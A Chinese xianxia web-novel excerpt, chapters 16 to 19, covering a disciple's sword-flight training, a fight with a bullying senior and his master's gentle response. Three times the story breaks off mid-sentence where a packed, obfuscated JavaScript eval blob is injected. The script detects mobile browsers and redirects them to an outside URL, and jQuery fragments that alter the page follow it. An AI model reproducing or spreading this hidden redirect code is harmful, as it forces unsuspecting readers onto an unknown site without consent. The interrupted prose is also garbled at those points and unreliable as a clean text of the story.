仙界的云海是楼珩见过最美的风景,淡紫浓黄的云雾像是一道绚烂的彩光披在山峦的最高处,云间白云缭绕万变,鸟群越过座座叠峰,足以让观景之人迷了眼。
司青衔一连数日亲自带着楼珩御剑,他们前日在天脊雪山御剑而下,昨日又去了东海逆风而行,楼珩御剑的时辰越来越长,他不再害怕高处带来的眩晕和无力,反而觉得御剑还挺好玩。
司青衔今日难得穿了件银白长袍,这颜色衬得人肤如白玉,他平时很少穿浅色衣裳,一个原因是容易脏,另一个原因是太过寡淡。
奈何这几日司青衔的神识不稳,所以额间浮现出了神族印记,额间的金莲印记让他凌厉的眉眼平添了几分温润,既然印记短时间无法消散又跟青色不甚搭配,司青衔就索性把青衣蓝衣都换成素色。
楼珩从没见过司青衔的神族印记,便忍不住多看了两眼,哦,师尊穿浅色倒是很好看,就连发间的流苏玉簪也略显清冷,额间的印记简直是妙笔添花。
“看什么呢?”司青衔走过去屈指弹了下小徒弟的额头。
楼珩回过神后讪讪一笑,拱了拱手道:“弟子见过师尊。”
看到楼珩的反应,司青衔意识到小徒弟是在看自己,便暗自有几分得意,到底是个半大孩子,喜欢好看的人和物件倒也在情理之中,可惜舜之不在场,不然看到楼珩的崇拜模样准能被气个半死。
这人生性要强,处处都要高出司青衔一头,偏偏容貌生得略薄,每每看到司青衔那张脸都顺不上气。
想到此处的司青衔勾了勾唇角,这种胜人一筹的感觉真是不错,尤其是赢过舜之那厮就更让人痛快了。
楼珩不合时宜地想起今日要继续学御剑术,便问道:“师尊,今日我们还去天脊山吗?”
“阿珩,今日为师想让你自己试着御剑,可以吗?”司青衔召出的木剑缓缓停在楼珩身侧。
楼珩闻言一时语塞,余光瞥到司青衔手中的话本,这才恍然大悟,师尊难怪今日穿了浅色,原来是打算坐在凉亭里看话本子。
师尊当真是跟旁人的师父与众不同。
楼珩硬着头皮站在木剑上,左手抵在唇边念诀,木剑猛地腾空而起又向北边偏了两寸,楼珩险些没站稳,幸好木剑只偏了片刻又恢复原状。
经过这几日的练习,楼珩已经掌握了大部分御剑的诀窍,但每次木剑急速偏向的时候,楼珩还是会心生恐慌,恐慌之下的第一反应就是拽着师尊,现在师尊不在身侧就只能握紧腰间的玉佩。
楼珩看着脚下的万丈高空,木剑的速度越快他就越心慌,慌不择口道:“师尊,要是我掉下来不会摔成肉泥吧?”
凉亭里摆了屏风和软榻,仙侍们在矮桌上摆好糕点便退下了。
靠在榻上专心看话本的司青衔听到这话被逗笑了,他慢条斯理地掀起眼皮看了一眼木剑的高度,淡声道:“为师记得膳堂王大娘昨日才做了好几罐竹笋肉酱,想来应该是不需要用阿珩做肉酱。”
楼珩才稍松了口气就听见师尊轻描淡写地丢下一句,“阿珩,今日想不想再试试逆风而行。”
?!什么逆风而行?
这句话惊得楼珩差点一口气没提上来,他下意识看向安坐软榻的司青衔,颤巍巍道:“师尊,弟子能拒绝吗?”
司青衔余光瞥到远处的山峦,若有所思道:“按理来说师命难违,不过为师也不是不讲理的人,你若是不想逆风而行便罢了,但为师觉得远处的山挺适合弯道练习…”
还没等司青衔说完,楼珩就果断收回了之前的话,“师尊,我觉得您说得有道理,今日就练习逆风而行。”
司青衔满意地收回目光,他继续专心看话本,没人注意到他搭在腿上的右手打了个响指,一缕青烟飘到木剑下方化成一朵白云。
司青衔这人就是嘴硬,他虽然嘴上说初学者就该多受磋磨锻炼,却还是不舍得让楼珩摔出个好歹。
某日舜之帝君带着新收的徒弟来镜花台闲逛的时候,他看到紫檀木桌上除了那块玄铁旁边还摆了一张宣纸,纸上描绘了一把样式极好的剑,就连剑鞘侧面都是嵌玉云纹,如此精致的剑鞘他甚少见过,这太阴玄铁落到司青衔那小子手里真是不枉费此等上品。
舜之帝君刚得到爱这玄铁时就爱不释手,这玄铁触手起初冰冷而后会变得炙热,如此上等稀品方可削铁如泥,他看着昔日的宝贝,肉疼道:“这宝贝可是千年难得的珍品。”
司青衔刚答应楼珩跟迟绪一起去揽月阁找云晟他们玩,一回头看见舜之对太阴玄铁左摸摸右看看的样子,司青衔就知道这货又在琢磨如何把玄铁骗回去。
司青衔唇角露出一抹笑容,他走上前直接拿起舜之帝君手中的玄铁,坦然道:“君子一言驷马难追,既然玄铁已经到了本尊手里,帝君哪还有要回去的道理?”
舜之帝君嘴比脑子快,立马应道:“这是自然,本君向来说一不二,等等……这宝贝本君何时说过要给你?!”
司青衔将太阴玄铁和图纸收起来,听见舜之帝君的话,他理所应当地反驳道:“上回本尊拿去的桃花酥你没吃?要不然你把糕点完好无损还给本尊,只不过本尊记得帝君不善厨艺,这是不是为难帝君了?”
舜之帝君一时无言以对,他皮笑肉不笑地接过司青衔递来的清茶,感慨道:“玉阙真人亲手做的糕点确实味道极好,本君要你再做一盒,不,再做三盒送到恨水阁,本君就既往不咎,玉阙真人意下如何啊?”
“原来是在这儿等着我呢,行,明日就给你送去。”
与此同时,楼珩带着迟绪走在鹅卵石小路上,楼珩原本想御剑去揽月阁,但这是迟绪第一次来蓬莱,他再三请求楼珩带自己四处逛逛。
迟绪从小就是个话痨,一路上跟楼珩喋喋不休地说了一箩筐的话,起初楼珩还有些局促,奈何迟绪话太多,他们很快就熟络起来。
二人走到一处有小溪的林间,楼珩直接从旁边树上摘下几个果子,他把最红的几个递给迟绪,解释道:“溪旁的果子很甜,你尝尝。”
迟绪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799318|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道完谢就拿起果子啃了一口,嗯,真甜。
他好奇地看着四周的景致,突然想到一个问题,“楼珩,你们蓬莱有灵兽吗?我上次去朝曦派,他们有御兽课,每个弟子都有灵兽。”
楼珩认真地思考了一下,答道:“应该没有这门课业,但是我见过师姐的灵兽,是她早年在南山收服的毕方鸟。”
迟绪眼前一亮,“毕方鸟?我从来没见过哎,等会儿能带我去看看吗?”
“行啊,咱们去揽月阁正好顺路。”
楼珩毫不犹豫地应下,毕竟花朝师姐一向好说话,她平日不喜操心这些琐碎的事,所以一直都是云晟和桑宁照顾毕方。
云晟那小子虽然嘴上不饶人,但却是个刀子嘴豆腐心,尤其是经历了上次偷丹药一事,云晟早已把楼珩当自己人了。
楼珩正想跟迟绪好好聊一聊蓬莱的趣事,不料一道凌厉的声音在二人身后响起,“小瞎子,又是你!”
楼珩都不用回头看就知道又是裴同玉,他默不作声地拽住迟绪,低声道:“这人脑子有病,咱们快走。”
迟绪虽然不理解但还是加快了脚步,他暗自给身后的人记上一笔,要不是因为身处蓬莱的地界,他肯定要召出三品灵器跟这蠢货狠狠打上一架。
裴同玉和几个甲班弟子瞬移到楼珩面前拦住了他的去路,其中一个略胖的弟子不怀好意地笑道:“小师弟这是要往哪儿去啊?没听见我们裴师兄叫你,难不成你真是个耳聋眼瞎的废物?!”
楼珩听了这话也不恼,他知道裴同玉的德行,此人小肚鸡肠最是记仇,若是被他缠上了准没好事。
“师兄,我要是没记错的话,你们几个因为跟清枫派大打出手被掌门罚去思过崖,怎么这么快就出来了。”
楼珩这句嘲讽直接点燃了裴同玉的怒火,他怒不可遏地指着楼珩骂道:“小瞎子,不知道的还以为你是什么金尊玉贵的仙门世家公子,可偏偏你是个没爹没娘的野种。”
楼珩轻笑一声,他漫不经心地啃了口果子,“裴师兄,你怎么记吃不记打啊。”
“…………”裴同玉趾高气昂地走上前直接用剑鞘打掉了楼珩怀里的果子,他俯身凑到楼珩面前,皮笑肉不笑道:
“你这个没娘生没爹养的小瞎子也配做师尊的徒弟?!你敢这么跟小爷说话,找死!”
!蓬莱竟有如此混账的东西,这样的人也配拜入蓬莱门下,当真是玷污了蓬莱上下。
原本想退让一步的迟绪顿住脚步,侧首时挥袖召出三品灵器,他的三品灵器是自带毒针的子午鸳鸯钺,鸳鸯钺逼着裴同玉不得不后退半步。
“如此口出狂言之辈,我倒真想见识见识你的本事。”迟绪冷笑一声,丝毫不掩饰眼底的嫌弃。
裴同玉被突然出现的鸳鸯钺惊得连连后退,意识到是何人出手便恼羞成怒,翻手抽出腰间长鞭狠厉抽向迟绪,骂道:“你算什么东西?!也配拦本公子,不知天高地厚的混账东西,果然物以类聚人以群分,今日楼珩跑不掉,你也一样!”
17. 第十七章
“如此嚣张的口气应该不是普通弟子,敢问阁下是哪家的公子?”
裴同玉一掌将子午鸳鸯钺击出数丈远,他冷笑着甩了下长鞭,答道:“本公子乃仙门第二大族裴氏后人——裴同玉,你并非我蓬莱中人,我劝你不要多管闲事。”
迟绪先是将袖子捋起来,再将头上的发带束紧,然后朝裴同玉摊手,认真道:“既然是裴氏后人,我倒是想领教一二,听闻裴氏玉鞭技法独特可挡普通兵器的攻击,今日迟绪可要长见识了,请裴公子赐教。”
裴同玉像是听到了什么天大的笑话,他修行百年从未见过如此讲礼数的人,除了云晚苓和柳成荫,还是第一次见礼数周全的毛头小子。
他手中的玉鞭通体呈暗色,鞭间的玉石是上好的涂山玉,拖在地上远远看着像是条蛇,三品灵器便已有灵识,当真是物似其主。
“你小子有点意思,师出何人啊?”
迟绪收回子午鸳鸯钺,却并没有收回手,直言道:“在下迟绪,师承昆仑山,今日有幸与蓬莱派弟子一较高下,迟绪求之不得,裴公子,请。”
裴同玉手中的玉鞭在半空挽了个漂亮的鞭花,他不屑地看了眼迟绪,讥笑道:“我当是哪位仙尊的弟子,原来是昆仑山的人,昆仑山在众仙门中也算是有头有脸的门派,怎会教出你这种多管闲事的杂碎。”
迟绪握紧泛着冷光的子午鸳鸯钺,抬眼看着一脸欠揍样的裴同玉,笑道:“裴公子身为裴氏后人行事乖张,当真是仙门世家的好作风啊。”
裴同玉今日不想跟旁人计较,他只想跟楼珩打一架。
“小子,我看你约莫十三四岁的样子,没必要为了个瞎子出头,我今日也不为难这瞎子,我只要他承认他就是没爹没娘的野种,只要承认了小爷就放过他。”
没爹没娘的野种?!楼珩的瞳孔猛地一缩,他不是没爹没娘的野种,他有阿娘!
站在一旁的楼珩突然开口打断了裴同玉的话,“裴师兄!楼珩不曾跟师兄有过过节,本想息事宁人,可一再退让你却得寸进尺,当真以为我是任人拿捏的泥人吗?!”
说罢还没等裴同玉反应过来,楼珩抬手凝聚灵力给了裴同玉重重一击,裴同玉被这股灵力逼退几步,头上的玉冠应声落地。
“小瞎子你莫不是疯了?!”恼羞成怒的裴同玉一鞭子抽过去,楼珩竟敢对他出手?!当真是狐狸尾巴露出来了,原来在众人面前胆子软弱的楼珩也会狗急跳墙。
楼珩不躲不闪眼看就要硬生生挨上一鞭,他却伸手抓住了那鞭尾,猛地一拽将玉鞭抢到自己手中,然后撞上裴同玉恼怒的眼神,轻笑着将手中玉鞭丢回去,道:“既然想跟人打架就别动用灵器,你比我多了十几年修为,要论灵器修为自然是胜出一筹,今日你我只论拳脚,如何?”
裴同玉像是听到了天大的笑话,这废物也敢主动提出打一架,当真是件稀罕事。
他索性将玉鞭收起来,正色道:“好啊,难得你有胆子跟我打一架,今日小爷就不动灵器,只跟你论拳脚功法。”
二人扭打成一团,楼珩虽比裴同玉矮了半头却丝毫不落下风,楼珩一拳打在裴同玉肩膀,然后一脚踹在裴同玉的膝盖上,裴同玉被这小子的蛮劲逼得连连后退。
他心底一惊,楼珩这小子吃了什么玩意,竟然力气变得这么大!
楼珩顾不上东想西想,他一手拽住裴同玉的衣领,重重挥拳落在腹部、肩胛、胸口这些经不得重击的地方。
裴同玉被打得差点一口气没喘上来,他狠厉一拳砸在楼珩脸上,紧接着又是两圈砸在眼窝和嘴角。
楼珩的嘴角破了皮,殷红的血流了下来,楼珩抬袖擦干净血迹,后退半步才淡淡开口,
“裴师兄今日定要与我分个高低?”
裴同玉揉了揉发酸的手腕,冷笑道:“那是自然,小爷我认了这么久,今日不妨打个痛快!”
转眼已经过了半炷香的时间,二人并未分出胜负,裴同玉舔了下略干的嘴唇,眸底闪过一丝兴奋,他以前以为楼珩不过是个内敛无能的废物,如今看来是他小看楼珩了。
又耗了半炷香的时间,裴同玉实在是没了耐心,他趁楼珩不备直接一脚将人踹倒在地,嚣张的扬起下巴,得意道:“果然是没仙根的废物,哪怕是赤手空拳都打不过小爷,你也配做师尊的弟子?真是个笑话……”
“即便楼珩天资平平也比你这个口出狂言的蠢货强上百倍!”
御剑路过此处的云晟一看见裴同玉的混账行为就冲过来,一股强大的灵力将裴同玉掀翻在地。
他抽出长剑直指裴同玉,一字一句道:“裴同玉你好大的胆子,蓬莱门规明令禁止同门弟子打架斗殴,更何况你作为师兄殴打小师弟,又犯了第四十一条欺凌弱者的门规!”
裴同玉还没来得及说话就被云晟一巴掌扇出半米远,云晟一脸嫌弃地擦了擦沾上灰的左手,嗤笑道:“裴同玉你也就这点本事了哈,楼珩他才拜入蓬莱两三年,你就对他咄咄逼人,今儿我闲来无事刚好有空跟裴师兄过几招。”
“云晟!你要死啊!”
裴同玉起身正要抽出玉鞭,只听见他们身后传来一道平静的声音,“裴同玉,你滋事打架、出手伤人、辱骂同门,每一条都犯了门规。”
楼珩闻声望去,站在他们身后的是一位紫衣青年,约莫有二十出头的样子,长眉淡漠,微微上挑的丹凤眼更添几分清冷,他周身散发着生人勿进的疏离感。
紫衣少年瞧见像是被踩了尾巴的裴同玉,唇角扬起一抹意味深长的笑容,道:“看来裴师弟是忘了上一次掌门是如何责罚你的了,需要师兄提醒你吗?”
裴同玉像是看见了什么洪水猛兽,他连连后退,脸色瞬间变得煞白,连忙朝那人拱了拱手,低声道:“柳师兄说笑了,同玉自是不敢忘记掌门教诲,今日之事是同玉有错在先,求师兄网开一面!”
紫衣青年并未搭理他,而是上前将摔在地上的楼珩一把拽起来,冷淡的眼神审视着面前的人,道:“你就是师尊新收的徒弟?”
楼珩拱了拱手,答道:“是,多谢师兄,楼珩正是镜花台弟子。”
“楼珩,名字不错,我记住你了,日后莫要再跟同门师兄打架。”
紫衣青年带着裴同玉和几个挑事的弟子去大殿领罚,至于楼珩,自然是要交给师尊处置。
站在一旁看热闹的迟绪瞬间对楼珩生出几分敬佩,这小子倒是聪明,清楚落拳在不便示人的地方,若是仙尊追究对错却看不出裴同玉身上的伤,如此一来楼珩便处于弱势,无论对错都要先念及楼珩那被打得惨不忍睹的脸,真是玩了一招苦肉计。
反观裴同玉此人嚣张跋扈不知进退,拳拳砸在脸上,恨不得告诉所有人是自己先动了手。
“啧啧啧,真是个蠢货。”迟绪啃了口果子,感叹有些人就是没脑子的蠢材。
回镜花台的路上,楼珩悄悄拽了下云晟的袖子,小声道:“刚才的人是哪位师兄啊?好像从未见过。”
平日最吊儿郎当的云晟难得正经一回,认真解释道:
“他是掌门首徒,也是咱们蓬莱山的大师兄,名唤柳成荫,原是仙门世家后人,可惜尚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799319|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在襁褓时满门被怨灵妖邪所害,掌门将他带回来的时候他尚未满岁,蓬莱有旧规:仙门世家的弟子可随师父姓氏,所以掌门赐他柳姓,名字出处则是‘无心插柳柳成荫’,他性子冷淡又孤僻,除了桑宁那丫头喜欢凑到他面前,咱们蓬莱没人敢跟他说话。”
柳成荫,原来他就是桑宁口中的师兄,怎么跟桑宁说的完全不一样啊。
楼珩若有所思的点点头,原来是掌门首徒,难怪给人一种深不可测的感觉。
那双眼尾上挑的丹凤眼是楼珩见过最美的眼睛,只是眉眼间带着一股淡淡的疏离,倒不像是这个年纪该有的稳重。
方才楼珩还注意到柳成荫的衣摆处的图案是描金昙花,原来这人喜欢昙花,只不过昙花一现并非长久之意。
云晟察觉到楼珩又在发呆,他不经意地看了眼楼珩惨不忍睹的脸,嗤笑道:“楼珩,你先别操心别人了,你瞧瞧你被打成这幅样子,师尊要是看见了你就完蛋了。”
楼珩这才后知后觉,当时只顾着出气完全忘了这一茬,他哪儿知道裴同玉这个混蛋玩意只会往脸上落拳,
“师兄,要不我先去揽月阁上点药再回去……”
云晟直接打断了楼珩的话,他一想起上次崴了脚的楼珩被他们带回揽月阁,师父跟师尊下了盘棋,回来就罚他们抄书一百遍,那可是一百遍啊!他可不想再抄书了。
“别别别,上一回师父把我们一通臭骂,师尊又不会打你骂你,顶多就是训斥两句,你怕什么?”
旁边的迟绪闻言笑出了声,他想起师父每次吐槽司渊仙尊这人最心疼的就是楼珩这个宝贝徒弟,刚带楼珩回蓬莱的时候就开始给他喂灵药,后来怕楼珩适应不了修为炼制的灵药,便用药材入食做成药膳。
舜之帝君还说某人如此悉心照料不像是收了个徒弟,倒像是养了个孩子。
“这位是?”云晟好奇的打量着身侧的少年,直言道:“楼珩,你怎么不给我介绍一下这位兄台。”
楼珩闷闷不乐道:“这位是昆仑山舜之帝君门下弟子,他叫迟绪,年龄……”
“我今年十五岁,跟着师父修行已近十载。”迟绪及时接过话茬,他突然想到今日一行是为了去看楼珩口中的‘毕方鸟’,叹道:“原本说好了去看毕方鸟,都怪那个姓裴的!阿珩,下回我再来你可要带我去看毕方鸟。”
云晟一听到毕方鸟也来了兴趣,道:“原来迟师兄是想看那毕方,那鸟平日都是我在照料,下回你来直接让楼珩带你去揽月阁,要是你喜欢就带回去养两天,我最近功课繁多,正愁每人照料它。”
迟绪眼前一亮,“此话当真?那咱们约好下月十八,可好?”
“自然可以,下个月只有御剑这一项考核,只要迟师兄来,我随时奉陪。”云晟一口应下。
听着他们二人聊得起劲,楼珩越发心慌,他好端端的离开,结果鼻青眼肿回到镜花台。
还不知道师尊是何态度,万一师尊一怒之下也罚自己抄书,不对,抄书就算好的了,万一师尊一怒之下罚自己去洒扫前院,万一师尊一怒之下罚自己御剑十个时辰……
楼珩绞尽脑汁思考了一路,最后云晟想出一个不算办法的办法,那就是直接回寝殿,先把药上了再去给师尊请安。
这个办法是云晟想出来的,自然也是他去跟师尊坦白此事,站在门外惴惴不安的云晟暗骂自己多管闲事,师尊自然不会跟楼珩计较,应该也不会跟自己这个小辈计较吧……
云晟鼓足勇气敲了敲殿门,“师尊,弟子有事要禀告。”
“进来。”
18. 第十八章
“云晟,阿珩不是去揽月阁找你了,怎么又回来了?”
司青衔手执白子,率先落下一子,瞥见云晟支支吾吾的样子,心中已有了几分猜测。
云晟这副神情准没好事,这几个小子又闯什么祸了?
司青衔平静道:“出了什么事?”
“禀告师尊,事情的经过是这样的……”
云晟将自己所见所闻逐字都坦白告诉司青衔,师尊的反应并不像他想象中一样。
动怒、质问或是指责,甚至连句呵斥都没有,事出反常必有妖,师尊这反应未免太过……平静。
司青衔微微一怔,阿珩现在都敢打架了?他回过神后淡淡开口,“好,本尊知道了,你先回去吧。”
看来师尊没生气!
云晟这才稍稍松了口气,行礼后便退出了大殿,临走的时候他瞥了一眼端坐高位的师尊,啧……师尊的脸色可不算好。楼珩还是自求多福吧。
“你那小徒弟真是不让人省心,竟然还会跟人打架。”
舜之帝君好不容易想出来下一步棋怎么走,落完子只觉心情舒畅,他这人有个毛病,心情一好就嘴欠。
他对司青衔这个徒弟没什么兴趣,自从这小子来了镜花台,司青衔这货就鲜少跟他们这几个老友畅快共饮,没成想司青衔悉心教养出来的孩子竟是如此心性。
司青衔修长指间的白子落在一处能将黑子堵死的地方,面不改色道:“裴同玉一向喜欢欺压阿珩,本尊能护他一次两次,却也不能永远护着他,所以阿珩能学会反抗是好事。”
舜之帝君听得愣了好一会儿才憋出一句,“真有你的,天底下哪儿有这样做师父的,要是让你掌门师兄知道定要骂你为老不尊!”
司青衔端茶的手一顿,凌厉的眼神扫过来,皮笑肉不笑道:“本尊很老吗?”
舜之帝君闻言仔细端详了司青衔一番,一本正经道:“咱们都看过千载春去秋来,自然不比这群乳臭未干的小子年轻气盛,我是不理解这种事为何一定要动手,明明有更周全的解决方式,还是太鲁莽啊。”
司青衔轻笑一声,直接将陈年旧事翻出来念叨了一遍,
“舜之,你还记得以前咱们在三十六重天学仙门规矩,有个混不吝的世家小子用墨汁泼了你一身,你当场就把他的脑袋摁到水缸里,险些把人呛死,你可还记得?”
司青衔的话让舜之帝君一愣,他讪讪一笑,“这烂谷子的陈年旧事你倒记得清楚,果然是年少时最血气方刚,做什么事都不用考虑后果。”
舜之帝君回昆仑山之前顺手扔下一瓶治跌打淤青的药膏,好心嘱咐道:“一日三次,本君保证你的小徒弟脸上不会留疤。”
司青衔并没有立刻去楼珩的寝殿,而是先去膳堂亲自下厨做了吃食,虽然小徒弟跟人打了架,但总不能饿着孩子吧,司青衔思索再三还是做了楼珩最爱吃的开口酥。
司青衔端着开口酥推开了楼珩寝殿的殿门,现下已近傍晚,寝殿内烛火只点了两盏,他环视一周得出一个结论,殿内貌似没人?
直到他瞥到屏风后蜷缩在角落的一小坨不明物体,这下人找到了,他抬手将殿内全部烛台都点亮,平静道:“阿珩,过来。”
“师尊。”
楼珩明显有些紧张,他站在屏风前不知该说什么,突然想起之前云晟教自己的先认错再诚恳认错。
他一咬牙索性直接跪下,抬手行礼道:“请师尊恕罪,弟子今日并非故意要滋事,虽是旁人挑衅在先,弟子确也动手了,请师尊责罚。”
“起来,为师又没有说要罚你。”
坐在桃木椅上的司青衔一副心平气和的样子,这让楼珩愈发心慌,他很清楚师尊语气越平静就是越难揣喜怒。
楼珩起身后慢吞吞挪到师尊面前,道:“师尊不生气?”
“戴着斗笠做什么?”
司青衔答非所问,俯身直接掀起斗笠那层薄纱,看清楼珩脸上的淤青后蹙眉道:“毁容倒是不至于,怎么被打成这副模样?”
楼珩讪讪一笑,下意识脱口而出,“毕竟裴师兄比我高了一头,弟子确实打不过,但是现在打不过不代表以后打不过…”
话快说完了楼珩才意识到自己说错了话,他暗骂自己在口出什么狂言,连忙改口道:“弟子今后定会克己复礼,绝不会再鲁莽行事,更不会有损师尊名誉。”
这都哪儿跟哪儿?
司青衔直接打断了楼珩的话,“名誉脸面这都是虚无缥缈的东西,为师倒不在意这个,只是你并非冲动行事的性子,今日为何跟裴同玉动手?”
楼珩支支吾吾半天也没说出个缘由,司青衔也不难为他,伸手将人拽到身侧,从袖兜里拿出一个白玉瓷瓶,不紧不慢道:“既然知道自己打不过,为什么还要跟裴同玉动手?!”
楼珩看着司青衔手里的瓷瓶,师尊这是要亲自给自己上药?
他默默往后挪了挪,紧张道:“师尊,我还是自己来吧。”
“别动,不想顶着这张惨不忍睹的脸见人就老实上药。”
司青衔虽然语气颇冷,手上的动作却很轻柔,他看了眼惴惴不安的楼珩,暗笑这小子不怕将脸打破相,但怕他这个师父,便随口道:“还手了吗?”
楼珩一时没有反应过来,“啊?”
司青衔温热的指腹沾了药膏摁在楼珩淤青最重的眉梢,楼珩倒吸一口气,刚想往后躲就被师尊一把摁住。
司青衔不紧不慢地抓住楼珩的肩,道:“为师是问你,还手了吗?”
这问题好生奇怪啊,楼珩犹豫片刻还是开了口,“还了,而且打得很重,但不是在脸上所以旁人看不出端倪,师尊放心,弟子还没那么蠢。”
“做得好,我们阿珩能还手就是有长进。”
司青衔用帕子将指腹的药膏擦干净,还顺手摸了摸楼珩的脑袋,道:“下次打不过就记得跑,君子不立危墙之下,懂了吗?”
司青衔的话让楼珩一愣,会打架也算是有长进?!
楼珩担心的目光落在司青衔身上,师尊不会是被气得神志不清了吧?
司青衔自然能看出来自家徒弟的小心思,他端起桌上的开口酥递到楼珩面前,道:“还记得你刚来蓬莱的时候跟云晟打架,连还手都不敢,为师很高兴你能反抗让你觉得不舒服的人。”
他顿了顿,继续说道:“就像这次裴同玉言语羞辱于你,你动手反抗,这是对的,并不是只有血淋淋的伤口才叫伤害,有些人只是用语言便能击碎一个人,为师不需要你做循规蹈矩、克己复礼的楼珩,为师只愿你恪守本心,不忘修仙成道的初衷。”
恪守本心……
彼时的楼珩并不知晓何为本心,他也不清楚自己修仙成道的初衷,他只记得最初的楼弃是想给阿姐报仇。
可等楼珩拜入司青衔门下,跟着司青衔云游天下,见过山川云海的楼珩终于明白三七将自己托付给司青衔的原因。
游历人间时楼珩见过的生离死别太多,没爹没娘的孩子数不胜数,伉俪情深却生死相隔,权
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799320|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
贵世家难逃命运愚弄……
他楼珩只是这世间其中一个不幸之人,而且他现在有了师尊,再也不是孤身一人,这样就很好了。
这场闹剧还是捅到了掌门面前,掌门柳不覆素来严苛,更厌恶滋事的弟子。
不出半日裴同玉就被关进了思过崖面壁,后来听云晟说裴同玉被思过崖的人鞭笞二十,还要在思过崖关上半个月。
至于楼珩,柳不覆知道自家师弟护短的性子,他索性让司青衔自行处置。
临走时还不忘提点两句,让他管好自己的徒弟,司青衔自然是嘴上答应得极好。
此事一出,蓬莱上下议论纷纷。
有的弟子认同掌门的处置,毕竟裴同玉仗着家世一直行事嚣张,如今遭到严惩也是活该。
有的弟子却觉得掌门偏袒镜花台的楼珩,别说严惩了,就连斥责都没有。
直到他们在惊蛰班见到了戴着斗笠的楼珩,看完那张精彩绝伦的脸,他们由衷地觉得裴同玉的惩罚还是太轻了。
这要是他们的脸被打成这副模样,他们定要把裴同玉生吞活剥了才解气。
上午的御剑课还没上完,云晟就带着楼珩、望尘偷偷溜了出去。
他们抄近道去食肆堂的时候正巧被桑宁看见,最后逃课的人数从三个变成了四个。
“今日食肆有荷叶熏鸡、清蒸鱼和春笋炒鸡,我可太想这一口了。”
云晟急冲冲地去前面端菜,他的木盘里足足装了四碟菜两碗米饭,又拿了两盘糕点,最后心满意足在楼珩旁边坐下。
这惊人的食量看得楼珩眼皮一跳,他默默挪得离云晟远一点,这孩子在揽月阁吃不饱啊?
坐在对面的望尘想起今日听到的八卦,便兴致勃勃道:“哎,你们听说了没?裴同玉在思过崖一直不肯服软,他师父也无可奈何,颜长老虽然是蓬莱最德高望重的长老,却也不敢忤逆掌门之意。”
桑宁拿起桌上的糕点狠狠咬了一口,道:“那可是思过崖!面壁思过就是要关在一间伸手不见五指的屋子里,想想就瘆得慌。”
云晟一听见裴同玉的名字就直犯恶心,他夹了块鱼肉放在碗里,随口道:“花朝师姐也是颜长老门下弟子,怎么裴同玉就是这狗德行,从前我只当他是少爷当久了才恶劣嚣张,现在发现他是真的贱。”
“师兄这话说得不对。”
坐在云晟对面的桑宁忍不住开口辩解,她虽然看不惯裴同玉的行事风格,但还是向他们解释道:
“我之前听花朝师姐提过裴师兄的家事,他父亲有许多婢妾,裴同玉的母亲原先有一个女儿,不足三岁就夭折了,裴氏夫人丧女后一病不起,裴同玉就被养在妾室名下,花朝师姐说过裴同玉从前不是如此乖张的性子,父亲对他不管不问,继母过分骄纵,硬生生将一个心智未全的孩子养成动辄打杀的混账。”
望尘顺手给桑宁的碗里夹了个鸡腿,接过话茬:“如此说来裴同玉以前确实没这么嚣张,我们是同一届拜入蓬莱的弟子,我们曾是并肩而行的挚友,所以我比任何人都了解裴同玉,他原本不该是这样,既然阿珩还了手,这就算两情了。”
望尘的话让楼珩陷入深思,他认识的望尘性子稳重又温和却不是跟任何人都能做朋友。
云晟的性子是大大咧咧跟所有人都能称兄道弟,而望尘的择友条件苛刻又毒辣,鲜少听见望尘唤人为挚友。
他称裴同玉为曾经挚友,这句话引起了楼珩的好奇。
所以裴同玉到底是怎样的人?
19. 第十九章
关于裴同玉的事楼珩很快便抛于脑后,对裴同玉这人楼珩算得上是避之不及,哪里会对他的事感兴趣。
更何况不到半个月就要御剑考核了,楼珩一门心思都在如何召出剑灵和御剑术上。
一连几日楼珩都心不在焉,司青衔看着自家徒弟慢吞吞地戳着碗里的米饭。
连平日最爱吃的龙井大虾也没吃两口,如此反常的样子应该是有心事。
司青衔打量着楼珩的神情,这小子一副心事重重的样子约摸着是跟御剑考核有关,便问道:“阿珩,在想什么?”
“师尊,弟子发现了一件蹊跷的事。”楼珩放下筷子,说出了自己的疑惑。
他近日才察觉出司青衔给他的木剑尚存剑意,只是他无论如何也无法完全掌控,这令楼珩百思不得其解。
“师尊,为何我连剑意都无法完全掌控,师尊给我的木剑虽有剑意,却不受我的掌控,就好像并不契合一样。”
不受控制?原来如此。
司青衔这才明白自家徒弟为何愁眉不展,他伸手将那碟龙井大虾推到楼珩面前,道:“先好好吃饭,为师给你提前准备了生辰礼,方才已经放到你的寝殿里,等回去拆开看看喜不喜欢。”
“……生辰礼?”
